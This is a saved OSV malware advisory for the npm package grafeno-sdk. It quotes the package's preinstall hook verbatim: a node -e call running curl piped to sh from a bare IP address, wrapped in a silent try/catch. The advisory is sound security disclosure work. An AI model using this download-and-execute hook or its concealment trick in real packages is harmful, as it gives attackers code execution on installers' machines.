Malicious code in grafeno-sdk (npm)
Historical advisory saved 24 Oct 2026 13:17:17 UTC. The publisher may have updated it since then. Latest advisory.
osv · MAL-2026-15508
Published--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3) package.json declares a preinstall lifecycle script that runs `node -e` to invoke `child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'})`, wrapped in a try/catch that silently discards errors. On `npm install`, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.
- Source published
- 28 Aug 2026 23:02:18 UTC
- Source modified
- 29 Aug 2026 02:00:45 UTC
- Saved here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- OSV · upstream source license applies
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.